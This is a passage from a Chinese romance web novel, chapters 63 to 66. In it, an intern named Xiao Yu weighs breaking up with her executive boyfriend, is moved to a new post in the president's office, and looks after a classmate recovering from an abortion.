“出什么事了?我今天不在泽城,需要安排人过去吗?”
他的声音很温柔,像是两人前天的争执并不存在,只透出一股浓浓的关切。
肖瑜心里一热,可还是很克制地没有太过显露情绪,摇着头应道,“谢谢,不过不用的。她……胃出血进了医院,所以下午我请假过去照顾了一下,现在已经接回寝室休息了。”
“你自己呢?有没有吃饭,累不累?”
“吃过了。不累。”
两个人都沉默了下来。肖瑜咬了下唇,正想说晚安,顾程那边叹了口气,“别再生气了,回去带礼物给你。”
“我不要。”肖瑜垂着眼睛,手指在一边的书桌上下意识地划着,“我不是闹脾气,是真的觉得跟你不合适,我们没有必要再浪费时间培养……”
“周三我生日。”顾程打断了她的话,声音很淡,听不出喜怒,“先陪我过完生日好吗?”
肖瑜愣了一下。他又说,“舍不得送礼物给我?”
她的手指攥了攥,轻轻点头,“好。”
她的第一场正式恋爱,的确应该善始善终,好聚好散。
*
“小顾总今晚很是心神不宁啊。”
挂了电话回到套房客厅,集团风险部的老总忍不住调侃道,“这要不是睿荣的人航班延误,看样子你今晚就得飞回去。”
此次信息来的突然,除了随行的一队业务精英,还有两位集团元老级人物,一位是顾氏基建的费总,一位是集团风险评估部的华总。他两人年纪都是顾连峰那一茬,正式场合之外,拿他当小辈看,说话也十分随意。
顾程笑了笑,接过集团秘书邱心悦递来的水杯,轻抿一口道,“见笑了,的确有点私事还没处理好就赶过来了。也辛苦大家了,希望这次不会白跑一趟。”
会议桌上,还摊着成堆的资料,周边的餐车上,则是给工作人员准备的宵夜和饮品。
费总也正翻看着手中的资料,休息一下捏捏鼻骨,问向顾程,“阿程啊,其实去年我还尝试过接触睿荣,但结果不怎么理想。秦总的信息,可靠度高吗?”
“这种机会,可遇不可求。”顾程看着窗外的夜景,很轻松地点头笑道,“她只是子公司高管,规划详情肯定不明了。如果不成,就当我请大家出来玩几天,总归没什么损失。”
“秦总是你大学同学?”费总闻言也笑了笑,紧绷着的神经松了些,瞅着他慈祥地问,“我听顾董说,似乎还是你的前女友?如果这个项目能分一杯羹,那你这个前女友真是功不可没啊。长得漂亮,还有能力,怎么样,你也老大不小了,顺便再续个前缘?”
64. 第 64 章
第六十四章
“费叔。”顾程有些无奈地看他一眼,拿起了刚才没看完的资料,垂眸笑道,“您就别打趣我了。家里正谈着一个,打算结婚了。”
“真的?”别说费总,连有了点困意的华总也登时来了精神,探身问道,“谁家的姑娘?怎么没听你爸提过?”
“刚谈,回头找机会带给叔伯们见见。”想起那个让他心神不宁的小姑娘,顾程的唇角勾了勾,手机一声微震,他拿起看了看,笑意越浓,“华叔,费叔,你们两位早点休息养养精神。睿荣的人已经落地,我大伯那边也确定了,如果需要,公务团明天下午就过来。”
*
次日晨曦微露,顾程已经在环海大道上开始了晨跑。一圈下来,在酒店门口看到正在热身的秦舒曼,他扬手打了招呼放慢速度,待她追了上来,才依旧保持着匀速,再一环过后,结束了清晨的锻炼。
漫步走回酒店的时候,两个人手中都多了杯黑咖啡,同样不放糖,一勺脱脂奶。
俊男靓女,身姿健美,气质卓绝。养眼的搭配,引来不少路人侧目,一如当年两人相伴走在校园里时那样,备受瞩目。
“我以为你会先避个嫌。”先开口的是顾程,他抿一口咖啡,淡淡笑道,“不然昨晚就请你吃饭了。”
“姜总过来出席个商业活动,搭条线认识一下而已,别的我可什么都不知道。”秦舒曼也抿了口咖啡,歪头看着他,边走边笑,“不过我们还真是心意相通。昨晚我没约你,也是怕你在避嫌。前几天不过开个玩笑,居然这么久都不联系我,所以我才会直接联系了伯伯。”
顾程低笑一声,摇摇头,“你是懂挖苦人的。最近有些事情比较费心费脑。不管事成与否,给你办场答谢宴少不了。”
“总部现在的权力更迭还不算明朗。”秦舒曼的嗓音略微压低了些,思忖着道,“这两年姜总的身体,似乎也出了点状况,以后怎么样还真是不好说。不过,这也只是我最近才听到的一些风言风语,算不得准。毕竟回国前,她看起来并没有什么异样。”
“嗯。”顾程点了下头,“你们十点半能结束?”
“肯定。”秦舒曼很笃定地说道,“姜总一向不喜欢拖泥带水,下面的人汇报工作都是直奔主题。你们的谈判风格也注意一下,不需要太多铺垫,更别打什么感情牌,打直球,丢数据,讲利害。”
“呵。”顾程噙着笑看她一眼,眼眸里是毫不遮掩的欣赏,“怪不得几年功夫就在异国他乡站稳了脚跟。舒曼,什么时候不想跟着姜总干了,我这里位子随便你挑,只要别跟我和我爸抢就行。”
“我一个女人,跟你和叔叔抢什么。”秦舒曼轻声笑了笑,抬手扬一下发尾,锁骨中心那枚钻石吊坠,在晨曦照耀下映射出璀璨的光芒。她眼角余光掠到顾程看向那枚吊坠时微变的眼神,似是很随意地问道,“后天就是你生日了,我这回回来得早,订好的车模还没寄过来。不如等这厢事了,顺便去逛逛,看你有什么看得上眼的?”
“不必了,办正事要紧。”顾程此时的心境确实有点复杂,他握住咖啡杯的手指紧了一下,忍不住低头去看表环,“今年生日我有别的安排,就不邀请你们了,随后再聚。我还有点急事要跟小安交代,待会儿见。”
他几乎落荒而逃般,大跨步就迈向了近在咫尺的酒店大门。
身后,秦舒曼伸手摩挲着颈下的吊坠,微微挑眉笑了笑。确定关系第一天,他亲手为她戴上的礼物,看来,他还是记得的。
*
肖瑜刚到单位没多久,就被安祈攸叫上了楼。
她今晨看起来有点不太精神,尽管依旧化了淡妆,可眼中的疲惫却明显得很,一看就是没睡好。
安祈攸的办公室就在顾程隔壁,瞅着小姑娘憔悴的眼神,他十分八卦地问道,“顾总一晚上不在,你就想成这样了?”
肖瑜实在是困得都不怎么想搭理他,可到底这是工作时间,尽管他问的是不相干的事,作为下属,她也不能完全无视,只得机械地摇了两下头,说,“安总,我有点不舒服。您有事请直接交代好吗?”
“不舒服?”这可让安祈攸一下就紧张起来,连忙问,“哪里不舒服?不舒服怎么还来上班呢?要送你去医院吗?”
“我没事,就是瞌睡,而且……”肖瑜嘟着个嘴,有气无力地应道,“我家里有猫猫要照顾。朋友生病了,我也很担心。本来今天想请个假的,可是上周我才刚请了好几天假,总这样影响不好。”
昨晚她帮孜歆洗完衣服晾好,已是半夜。凌晨宿舍楼一开,她就出门给她买饭提开水,继而马不停蹄赶回家喂顾菲喂团团,然后还要洗澡化妆换衣服上班。就算是打着呵欠到了单位,想起医生叮嘱过刘孜歆近期不能碰冷水冷餐,她还是坐立不安,又瞌睡又担心。
她知道有爸爸这层关系在,不管自己是不是顾程的女朋友,请假都易如反掌。可这毕竟是一份工作,多少人挤破头才能得到的机会,自己总是搞特殊,不但会增加科室其他同事的负担,还会让人在背后对她指指点点,对单位的管理也会有异议。
安祈攸心思动得很快,沉默了不到一分钟,便有了主意。他从抽屉里拿出一枚士力架递给肖瑜,朝她招招手让她凑近点儿,又往门口看了看,压低了嗓门悄声说,“总裁办最近刚好有个空缺,正打算从你们这批实习生里培养一个。有事请假只需要直接跟我,或者顾总报备,日常事务也不复杂。唯一的缺点,就是可能经常需要出门,不一定是出差,就是离开公司在外办公。要不,我把你调过来?这样你这两天就能安心处理一下私事,也不用担心有什么闲话。”
“可以吗?”肖瑜的眼睛一下就亮了,可跟着,又犹豫地问道,“那具体的工作内容是什么?我可以胜任吗?而且我直接调岗的话,我们科室里的工作……”
“你本来就只是周美茗的替补,她一时半会儿生不了,也算给别人一个工作机会,补招就行了。”安祈攸很干脆地应道,“新的岗位,主要是……其实跟你之前差不多,多是财务相关的,不难,你绝对可以胜任。只是从面向全员,转为专职服务总裁办而已。”
“那……是直接在顾总眼皮子底下工作吗?”肖瑜想起自己很快要跟顾程分手的事情,心里多少有些闷闷的,“他可能以后不怎么想经常看到我,我也不想再跟有他太多交集。”
“肖瑜啊,这我可得说说你了。”安祈攸皱了眉,敛起笑正色道,“公司请你来是工作的。你有困难,公司站在你的立场上,在尽力帮你解决。你怎么还挑上了呢?你看看同期的实习生,谁上个班挑挑拣拣的?你跟顾总的私事那是下了班的事儿,你在公司实习一天,就得有一天身为员工的觉悟,要有责任感。肖瑜,你已经走上社会了,工作就是工作,私人情绪不要带进来,更不要闹小孩子脾气。”
相识以来,他从来都是笑语晏晏地跟她说话。肖瑜还是第一次被他这样疾言厉色地对待,她咬着嘴唇看他一眼,低下头,不吭声了。
安祈攸其实心虚得很,可他到底是一人之下的总助,架子端起来的确唬人,更别说只是糊弄一个没多少社会经验的实习生。见状他也没去劝,依旧冷着脸道,“你也别觉得有了肖总这层关系,就特殊得很。要不你打电话问问你爸,要是手底下的人都跟你这样,他还怎么管?嗯?”
“对不起。”肖瑜再抬起头时,已有点忐忑,“您说的是对的,的确是我太任性了。那我什么时候可以调岗呢?安总……”她迟疑了一下才又说道,“我朋友刚做完手术,没有别的人可以去照顾她,我不太放心……”
“这才是好同志。”安祈攸暗暗舒了口气,又恢复了平素的调调,“调令今天就会下,你现在就开始新岗位的工作。今天第一天,主要工作是把该有的证件都给办了,方便日后出差,其他的时间你可以自行安排。港澳通行证,护照,都有吗?带着吗?”
“有。不过没有随身带,都在家里。”
“
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嗯。”安祈攸点点头,“明天带过来上交,方便统一管理。”
“好。”肖瑜被教育了一顿,觉悟的确提升不少,每句话都答得乖得很。
安祈攸清了下嗓子,又打开抽屉,拿出一个信封,递给她,“那没别的事了,工作交接也不急着今天办,你先去处理自己的事情吧,注意个人安全。如果需要帮忙的话,随时跟我联系。这个拿着,顾总让我交给你的。”
“是……工作用的吗?”肖瑜接过来,迟疑地问了一句,继而连忙很有觉悟地自己给回答了,“对不起安总,上班时间不该乱想。那我先走了,谢谢安总。”
“嗯。”
目送她恭恭敬敬跟自己道了别离开,安祈攸长长舒了口气。
小姑娘是真乖,真讲理,也真好骗。怪不得能把铁树暖出花来。
这要是换了顾菲,不得掀了桌子地跟他怼着干?都是白富美,怎么差别就这么大呢?
*
养宠物,是个甜蜜的负担,尤其对上班族来说。
肖瑜回到家里换下职业装,抱起团团好好亲热了一顿,临出门前挎包换背包的时候,又摸到安祈攸递给她的信封。她想了想,给顾程发了一条微信:【东西我收到了。你安心工作吧,不要因为我们的事情分心。等你回来,我想跟你好好谈谈。】
那里面,是失而复得的小鱼项链。她不知道顾程为什么又会从垃圾桶里把它捡回来,但这个举动,的确让她心里好受很多。
*
回到寝室的时候,刘孜歆还在床上躺着。肖瑜放下带过来的餐食,轻轻拉开了床帘。
她醒着,双目空洞无神地望着天花板,苍白的脸颊上没有一丝血色,连唇瓣都是浅到不能再浅的裸色。
听到声响,刘孜歆闭上眼睛,眼角的泪水无声无息流向枕头,沙哑的嗓音没有丝毫力气,“小鱼儿,我没事了,你不用过来的。欠你的钱我……”
“欠我的钱,你会还,我知道。”肖瑜站在脚梯上,伸手摸向她的额头,悄声说道,“我还会给你算利息,一个月五块,不会不要你还的。孜歆,先起来吃点东西好吗?”
刘孜歆没有说话,眼睛闭得更紧一些,放在被子外边的手,却紧紧握成了团。
人流室门前听到的嘶喊痛哭,术后女孩子弓着腰满头大汗面如死灰的惨相。昨日种种,再次让肖瑜心里抽痛着蹙了眉。
她拿掌心覆住刘孜歆的手,想要再劝,却一个字都说不出来。末了,也只是在她压抑的低泣声中,握住她的手,安静地陪着她。
终于刘孜歆再也流不出眼泪,缓缓睁开眼窝深陷的双目,挣扎着要起身。
肖瑜连忙伸手托住她的背,拉过枕头让她靠着,“你别下来,就在床上喝。”
她这会儿穿的运动鞋和运动裤,比起上班时的职业装,行动方便很多。不待刘孜歆回话便跳下地,打开保温桶盛了大半碗鸡汤,小心翼翼单手端着,又跨上两层脚梯,递了过去。
见刘孜歆伸手接了,肖瑜松口气,转身跳下来,去洗手间里把毛巾和热水用脸盆端出来凉着,这才再度爬上脚梯,静静趴在那儿看着刘孜歆。
她喝得很慢,每一勺,都似乎要用很大的力气才能咽下去,应该还是没什么胃口。但不管多抗拒,她也依然坚持着,一点一点,慢慢喝完了碗里的汤。
“剩下的晚点再喝,一次进食不要太多,医生说过最好少食多餐。”肖瑜见她放下勺子,立刻就把碗接了过来,在脚梯上上上下下,又给她递来拧好的热毛巾,“药吃了吗?”
刘孜歆摇了摇头,擦好脸把毛巾递回给她,轻声说道,“可以把镜子和梳子递给我吗?”
肖瑜下来把东西递给她,又从刘孜歆的背包里翻出昨天开的药,兑好温水。
刘孜歆对着镜子细细梳理完长发,在肖瑜的密切注视下,肢体依旧微微发颤,踩着脚梯慢慢走下来。
她接过药吃了,转身打开书桌的抽屉,拿出一把剪刀。
65. 第 65 章
第六十五章
肖瑜心头一跳。刘孜歆却握住刀尖递给她,拉开椅子慢慢坐了下来,“小鱼儿,你可以再帮我个忙,帮我把头发剪了吗?”
她的头发很长,两年多来不曾动过,只是微微修剪过刘海。因为陈凌志说,最喜欢女孩子长发齐腰,那是他梦想中未来妻子的模样。如今她青丝及腰,而他却只留给了她一世的伤痛与恨意。
刘孜歆的双手又开始颤抖,她抱住双臂,哀求地转眼看着肖瑜。
肖瑜咬了下唇,拿起桌上的橡皮筋,在她发尾处打了个结,小声说,“我怕剪坏了,先稍微剪一点。等你休息好了,我们再一起出去做头发,好吗?”
“嗯。”
肖瑜从未拿剪刀剪过头发,更别说是给别人剪发。可她知道这满头青丝对孜歆来说,意味着什么。因此每一刀剪下去,心头便更涩一分。
刘孜歆跟她之间,其实并没有很过硬的交情,至少是跟她和燕北北之间不能比的。她在学校里一贯地独来独往,也一向十分节俭,一起住校这些年,从来没点过外卖,就连过生日请她俩吃饭,都是简单的面馆和六寸小蛋糕。
肖瑜跟燕北北出去吃饭,也叫过她几次,可她从来都没去过,后来她俩也不好意思再喊,因为渐渐相处下来发现,她其实自尊心特别强。偶尔肖瑜故意买多了零食,不吃就会坏,她才不得已跟着分享一下,但第二天一定会帮忙做点事,打打开水,洗洗衣服,丁点不想欠人情。
但就是这样一个孤傲自强的女孩子,昨天在电话里,声音颤抖地求她,借钱看病。
她要的数目并不多,甚至不够肖瑜在美发沙龙充一次卡。以肖瑜对她的了解,这笔钱对她来说,应该不至于走投无路到开口问人借。加上电话那头几乎崩溃的压抑啜泣,让肖瑜也更加担心。所以她借口登不上网银没办法转账,而是直接拿钱去了医院,待见面后看到刘孜歆生无可恋的神色,她不敢轻易离开,而是悄悄跟着她上了楼,直到看到刘孜歆挂完号,孤独地坐在了人流手术室前的等待区。
她拿手机在网上搜了下什么是人流,这才震惊地重又跑向刘孜歆,这一次,还没开口就被她一把抱住,浑身颤抖地不断重复着说,“小鱼儿,你还在……小鱼儿,我怕……我怕,我好怕……”
软弱,无助,恐惧,绝望。
肖瑜至今都无法忘却刘孜歆当时那陌生的样子,仿佛身陷地狱,被百鬼撕咬,万劫不复。
*
这种事情没有办法让人知道,连燕北北都不能说。所以即便知道陈楚他们还在住校,肖瑜也不能请他们搭手帮忙。
而或许也是因为此后两人之间有了这样一个共同的秘密,尽管刘孜歆仍然什么都不愿意说,却对肖瑜的细心照料,没有像以往那样拒绝。
她很听话。肖瑜叮嘱她不可以用冷水洗漱,她连刷牙都兑用的温水。肖瑜说最近工作不忙,一日三餐都会带过来跟她一起吃,她也点头。唯独对肖瑜邀请她一起去泽鼎,她婉拒了,因为这对女人来说是个小月子,去别人家里会带去晦气。
吃完午饭,看着她慢慢入睡。肖瑜这才舒了一口气,看一眼时间,开车去了溢彩购物中心。
顾程的生日礼物,让她有些为难。
刚跟他在一起的时候,因为知道他的生日就在最近,她也曾想过要送他什么。领带,手链,项链或者皮带,甚至成对的尾戒。小女生的心思,就是那么奇奇怪怪,好像把自己送的礼物绑在喜欢的人身上,就能绑住他的心,把他绑在身边一辈子。
可眼下他们两个正在半分手状态,尽管顾程捡回那条项链的举动,让她失望透顶的心境有了一丝变化,但在坦诚相谈之后,两个人究竟适不适合继续,还是未知数。
何况这件事,也让她对买随身佩戴的饰品做生日礼物,有些抵触。万一真的分了手,他会不会也会为了让下一任女友放心,随随便便就扯下她送过的心意,垃圾一样丢掉?
手机铃声,心有灵犀般响了起来,是顾程。
“今天很忙,信息我看到了。”他语速很快,似乎是在边走边讲,“你同学的事情处理得怎么样了?今天能早点回家吗?你一个人在外边太久我不放心,而且你自己都还是个小姑娘,照顾别人前首先要保证自己的健康和安全。我让娜娜过去了,待会儿她到了学校会跟你联系,随后跟学校交涉的事情交给她,她会安排专人去照顾你同学,明天你就别再过去了。”
他跟有人拿枪指着似的,一口气说了好多,把肖瑜都快给听懵了。反应过来的时候,她的声音不自觉地就软下来,早没了先前几次通话的刻意疏离,“不用了,这些都是我的私事,让娜姐过来太大材小用了。而且……”她咬了下唇,尽管对方看不见,她也觉得有点不太好意思,“我这会儿也没在学校,我正在溢彩给你挑生日礼物。”
一边跟人家闹分手,还一边心急火燎地给人选礼物。矜持不了一点,怪难为情的。
顾程显然有点意外,一时竟没了回音。直待那边传来一阵似乎进入会场的喧哗,他才低笑一声快速说道,“你不生气了,就是给我最好的礼物。我尽快把这边的事情处理完,早点回去。先挂了。”
不到一分钟的通话,方方面面都想到了,甚至直接帮肖瑜解决了放心不下的焦虑。她心里漾起一股浅浅的暖流,是刻意想去压制,都无法抗拒的甜蜜和感动。
刘娜的电话也很快打了过来,肖瑜想了一下,还是暂时先放下礼物的事情,回了学校。
*
作为总裁办第一秘书,刘娜做事可谓雷厉风行。
肖瑜很简单地提了下要求,希望有一个不爱说闲话的阿姨能每天煲点汤过来,照顾刘孜歆吃饭洗衣服。不能让她碰冷水,最好再有一个医院的胃出血证明。
刘娜什么都没多问,几个电话打完,半小时后就有人送过来了医院的证明,跟着,她又独自去了趟学校的综合办公室,再半小时后出来,办公室主任亲自陪着去宿舍楼,交代了近期对209生病同学的特殊照顾,一切都安排得妥妥当当。
寝室楼下等待阿姨的功夫,肖瑜递给她一杯奶茶,满脸钦佩地瞅着她,“谢谢娜姐。你效率好高啊,实习期的时候就这么厉害吗?”
“呵,当然不是啦。”刘娜喝了口奶茶,因为老板交代的事情已经办妥,紧绷的神经放松下来,扬起唇角笑道,“是我运气好,入职就遇到顾总这样的上司,愿意耐心培养我成长。”
听到她以尊敬的语调夸赞顾程,肖瑜竟悄咪咪生出些难言的自豪感,也弯了唇角,好奇地问,“你一开始就是顾总的秘书吗?”
“我是跟着顾总从集团过来的。”面对可能是未来老板娘的肖瑜,尽管她年纪比自己小得多,刘娜也丝没有毫轻视的意思,逮着机会就真心实意为
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自家老板上分,“顾总还没毕业就在集团挂职了,起初是风控部的副总,我就是那时入职的。他是个很好的人,是真的本性就很好。那会儿他也才刚二十吧,但你在他身上看不到那个年纪的浮躁和戾气,有涵养有能力,自律又努力,而且尊重身边每一个共事的人。
“我从来没见过他对哪个下属冷言相讥或者破口大骂的,只要不是有意为之,他的容错率很高。即便有人因为一己私利,做出他不能容忍的事情,通常他也只是很简单地交给人事处理,很少有什么人和事会让他情绪失控。不过,这几天……”
肖瑜正听得嘴角压不住,冷不丁听到刘娜话里有了转折,她不解地看着她,满眼疑问。
刘娜又喝了口奶茶,眉头锁在一处,叹了口气,“上周啊,顾总就心神不宁了好几天。周五看着刚好点,这过了个周末,不知道又怎么了,周一上班满身的低气压。虽然他不骂人也不训斥人,可那张脸冷下来面无表情地盯着你,还是怪瘆人的。我跟着顾总这么些年头了,还真是第一次见他这样,要说近期不管集团还是公司,都挺好的啊。”
周五刚好,周一又崩。如果不是因为工作,那算算时间,好像是跟自己有关系?
肖瑜一时听得心里又甜又酸。甜的是,他因自己而生的情绪波动,明显是真的很在乎她。酸的是,他对别人容错率那么高,自己只是曾经喜欢过别人,他就总跟她闹脾气,区别对待不要太离谱。
刘娜状似喝着奶茶看风景,眼角余光可一点没离开过肖瑜的脸。
见小姑娘一会儿悄咪咪地弯着眼睛偷笑,一会儿嘟着嘴巴恨恨地翻眼睛,她微微挑眉,添了把火,“或许是顾总这么些年来也没什么恋爱经验,不小心惹你生气了?”
肖瑜冷不丁被她直白地问了出来,脸一红,声若细蚊,“我们……还好,我已经没那么生气了。娜姐……”她想了想,问道,“大学毕业后,他真的没再谈过女朋友吗?为什么啊?”
如果像他说的那样,对秦舒曼已经没有任何想法了,总要有别的原因才会一直单身。不然他条件在那摆着,没道理一个女朋友都没再谈过。
“反正我是没听说过。”刘娜也想了想,摇摇头,“至于为什么,我也不知道。可能是没遇到特别喜欢的,就不愿意将就吧?顾总在这方面是真的很洁身自好,比很多女孩子还要矜持自爱。”
洁身自好?矜持自爱?
想起闹脾气前两人独处时,那双时不时就要伸过来捏两下的手,肖瑜红着脸小声哼了哼,又问,“娜姐,那是不是他太忙了,平时很少接触女孩子,所以才没时间谈恋爱?”
所以才会喜欢上她这棵住在楼下的窝边草。
“以后在总裁办工作,你慢慢就知道了。”刘娜顿时就笑了,摇着头说道,“咱们可是搞轮胎的,跟车企共生的行业,而且集团下边还有几个娱乐产业也归他负责。车模,明星,平面模特,网红,他身边说是美女如云也不为过的。”
“啊?”肖瑜惊讶地睁大了眼睛,她想起那些一眼看去、连她作为女人都觉得血脉贲张的性感车模们,很是疑惑地挤了眉,“难道他真的是不行吗?”
刘娜一口奶茶喷出来,一贯风轻云淡的脸,五官扭曲,涨得通红,“你,你说什么?!”
天可怜见的,她这是听到了什么惊天大瓜?他们家谪仙般受人仰望的顾总,不行?!
66. 第 66 章
第六十六章
“他长得帅身材好,事业有成不缺钱。”肖瑜没有实践过,行不行的,其实都是网络上看来的那些标准,具体内容根本就是一抹黑。在她眼里,跟女孩子之间的开放讨论,比跟正主讨论更让人觉得自在些,她嘟着嘴很犹豫地说道,“前几天我们在一个小说的读者群里还讨论呢,虽然我觉得没什么,可很多有经验的小姐姐都说,结婚前最好验验货。难道他是验货不成功,所以才一直单着?”
这个话题完全脱轨,超出了一个女秘书和上司女友之间的安全讨论范围,刘娜听得有点心惊肉跳,脑神经再度紧绷至工作状态,抿了下唇,“顾总常年保持健身,不抽烟不嗜酒,每年做全面体检,报告都很正常。”
当然,那方面行不行是没有报告的,就算有,她也见不着。
肖瑜‘哦’了一声,咬着嘴唇看看她,欲言又止。
刘娜已经开始坐立不安,生怕她又说出问出什么惊天动地的话,正想找个机会转移一下话题,抬眼看到一道快步而来的身影,她微一挑眉,跟着端了平素的淡雅笑意,起身朝那人打了个招呼,“周秘?怎么今天你也来大学里找回忆啦?”
“哎呀!刘秘书!”来人是个跟刘娜差不多年纪的职业女性,却短发西装,颇有中性风。她朝也起了身的肖瑜笑笑,看向不远处的女寝楼,“来看个人,你是来……”
她正说着,刘娜的手机响了起来,她抱歉的笑了下接通,前方有个刚停下电动车的阿姨,边打电话边朝几人走了过来,“您是刘小姐吗?王经理让我过来的。”
“赵阿姨是吧?”刘娜放下电话,很热情地说道,“您能来太好了,您先跟肖瑜上209见一下那个小姑娘,问问看有什么需要准备的。接下来几天,还请您能按时过来照顾,有问题直接打电话给我。”
“哎哎,好的,没问题。”赵阿姨看起来很利索,打完招呼没有再多说话,确实不像个嘴碎的人。
肖瑜舒了口气,正打算带她上楼,那个被称作周秘的女人却叫住了她,“同学,你也住209?”
刘娜探究地看向她。
周秘一耸肩,有点无奈,“你说巧不巧,找的都是一个寝室的。同学。”她又看向肖瑜,很客气地说道,“待会儿能顺便让你们寝室的刘孜歆下来一下吗?就说是申总身边的周秘书来找她,问点事儿。”
“你找孜歆?”肖瑜挤了下眉,摇摇头,“姐姐,孜歆生病了,不太方便下楼。”
周秘显然有些意外,连忙问,“病了?很严重吗?”
“嗯。”肖瑜点了下头。刘娜在旁解释道,“胃出血,刚从医院接回来,所以才找人过来照顾一下。”
“这样啊,那你们快上去吧。”目送肖瑜跟赵阿姨上了楼,周秘眯了眯眼,再看向刘娜时的眼神有点意味深长,“这个刘孜歆,跟你们顾总什么关系?”
“顾总?”刘娜嗔她一眼,随她在长椅上又坐了下来,等肖瑜,“我们顾总可从不乱来。刚才那个小姑娘,是我们顾总正儿八经的女朋友。同学生病了,她总往这边跑着照顾,顾总不太放心,才专门让我安排人过来的。”
“我天,原来顾总好这口啊?怪不得当年我们申大小姐怎么示好都没用,敢情是熟过了头啊。”周秘惊讶地咂了下舌,忍不住又看向女寝楼,“不过这小姑娘嫩的跟水蜜桃似的,看着又乖,的确招人疼。”
“别多嘴。你来干吗呢?”刘娜嫌弃地看她一眼,“你们小申总又让你来处理风流债了?”
“你在那边得意个什么劲儿?”周秘埋汰地横她一眼,笑得无奈极了,“老板爱玩又不是我的错,拿人工资,替人做事而已,大家不都一样吗。倒是你,一口一句‘我们顾总’,不怕小姑娘吃醋了吹枕边风啊?”
她这么一说,刘娜倒是立刻反省了一下。确实自己在肖瑜面前,戒备心有点低。
不过她也说不出是为什么,自打知道两个人处了,她总有一种我家老板终于有人疼的感觉,而且跟肖瑜说话的时候,她清澈的眼神和懵懵懂懂的语气,也总是让她不自觉有种大姐姐的自知,很难像对待一般人那样,说话前先在脑子里转一圈。当然,除了刚才那种实在不该参与讨论的话题。
哎,她是不是该要个孩子了?怎么上司谈个恋爱,都能让她有母爱泛滥的感觉呢?
“想什么呢你?还真怕啊?”见刘娜半天不说话,周秘伸手戳她一下,笑道,“那小姑娘一眼就能看到底,没多少花花肠子,不是你的对手。别怕。”
“我怕什么啊,我们,咳,顾总可不会好赖不分。”刘娜笑着怼她一句,手机响起,她低头一看是肖瑜,赶紧接了起来,“嗯……让周秘上去?嗯,好的。”
放下电话,她看向也已经拿出手机的周秘,“刘孜歆说想让你上去一下,她有事情想跟你说。你到底过来干吗的?”
周秘起身摊了下手,耸耸肩,英气的五官搭着这男性化的动作,雌雄难辨,“你说对了,就是风流债。我先跟小申总联系一下,待会儿见。”
*
“孜歆,要是你不想别人来照顾你的话,我还是可以来的。我不是不想陪你,是怕自己照顾不好你。”
209寝室里,赵阿姨已经开始收拾整理,拿了晾好的衣服正在叠。听到刘孜歆拒绝自己过来干活,而肖瑜一直劝,她依旧很认真地继续自己的工作,目不斜视,也没多说一个字。
刘孜歆低头看着肖瑜递给她的胃出血医院证明,对齐边角把它叠起来小心地放在抽屉里,继而握住她的手,掌心冰冷,“谢谢你小鱼儿。我知道你是为我好,只是我不能忍受自己欠你越来越多。”
“欠了慢慢还啊,一年不够就五年,五年不够就十年,我不急用的。”肖瑜知道她要强,顺着她的话去劝,“你只是一时遇到了难处,慢慢就会好起来的。先把你的身体养好,这比什么都重要。”
几千块钱而已,就算不还,肖瑜也不会介意。可她知道刘孜歆的性格,如果真的开口不让她还钱,反而更会加重她的心理负担。所以打从一开始刘孜歆说借钱,她就没拒绝她说以后要还钱的话。
刘孜歆苦笑着摇了摇头,垂下眼眸,“还钱容易,还情难。我也有债需要别人还,不能只去麻烦真心对我好的人。”
肖瑜听得不太明白,却也知道这是话里有话。她看了一眼远远在寝室角落里忙碌的赵阿姨,悄声问道,“这位周秘……你跟她说的申总,很熟吗?”
刘孜歆的手紧了一下,又轻轻松开,坐回椅子上点点头,“嗯。他……是我一位亲戚的朋友,挺熟的。肖瑜,你放心吧,我会没事的。”
敲门声响起,刘孜歆的脸色越发苍白,眸中带着哀求看向肖瑜,“你和赵阿姨先回去吧,我跟周秘有一些事需要私下谈。小鱼儿,我真的不想再麻烦你了。”
“那……”拉开门看到面前的周秘,肖瑜点了点头,喊了赵阿姨过来,又对刘孜歆说道,“你们先聊,我跟赵阿姨先去楼下等一会儿。等你们谈好了,我们再商量接下来的事。好吗?”
“嗯。”
*
刘孜歆跟周秘之间的谈话
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,并没有持续很久。而更让肖瑜意外的是,刘孜歆居然轻装上阵,只收拾了一个背包,就随周秘下了楼,在寝室楼前等待跟她一同离开。
周秘带来的车就在不远处的停车场,司机几分钟过来,两个人跟刘娜肖瑜她们打了招呼,便神色各异地上车离开。
而肖瑜很不好意思地看看一脸茫然的赵阿姨,又看看神色自若的刘娜,嗫嚅道,“对不起,麻烦了你们大半天……”
刘孜歆临别前跟她说,那位申总在市区有套公寓一直空着,可以让她养病的时候先住,不用付租金。在外到底是比在学校方便些,而且因为亲戚的关系,申总也会找人专门照顾她,让她不要担心。
可是刘娜百忙中抽空过来一趟,赵阿姨也被订了一个月,现在,一切都变成了肖瑜一厢情愿的主张,确实让人有点尴尬。
“肖瑜啊,王经理说,赵阿姨做饭很好吃的。”刘娜伸手拍了拍肖瑜的肩,笑道,“要不让赵阿姨去你那里帮帮忙吧?她时间可是很难约的,好不容易抢过来一个月,别浪费了。好不好?”
肖瑜并不觉得自己需要,可眼下这种情况,这确实是最好的安排,她转头看向赵阿姨,很客气地问道,“赵阿姨,我家里有只猫,还有一个朋友合住,我住在泽鼎。您方便吗?”
“方便的。”原本被几倍高价抢过来订了一个月,因为客户离开,赵阿姨还以为这一单黄了。如今听到换了离家更近的地方,还不是照顾月子,而且小姑娘说话温温柔柔,看起来比刚才那个女学生更好相处,她自然也是心悦的,点点头记下地址,跟肖瑜约好了时间在泽鼎门外办手续,她便直接骑车去买菜,准备夜来的晚餐。
肖瑜看着她骑上电动车轻快离开的背影,长长舒了一口气,转过头来看向刘娜,还是觉得很内疚,“娜姐,对不起。我,我也不知道事情会变成这样。”
“没关系的,你不用过意不去。”刘娜跟她往停车场走着,柔声安慰道,“顾总交代的话,就是我的工作。我今天的主要任务,就是让你不需要再操心同学的事。如今不仅妥妥当当,还意外地多了个阿姨照顾你几天,顾总一定会给我记个大功。”
肖瑜被她说得也笑了起来,点点头,“嗯,娜姐,那我明天就直接去总裁办找你报到了。有什么是我需要提前准备的吗?”
“不着急,会有人手把手教你的。”把肖瑜送到了她的车旁,刘娜突然又想起什么,轻咳一声笑了笑,“你呢,如果能让顾总每天都保持一个好心情,就是对总裁办最大的贡献了。好吗?”
“……”肖瑜脸一热,垂下眼睛,却弯起了唇角,“嗯。”
*
目送肖瑜的车子离开,刘娜也回到自己的车上,跟顾程发了条信息,汇报了事情处理的结果。
顾程回得很快,也很简单:【知道了。办的不错。】
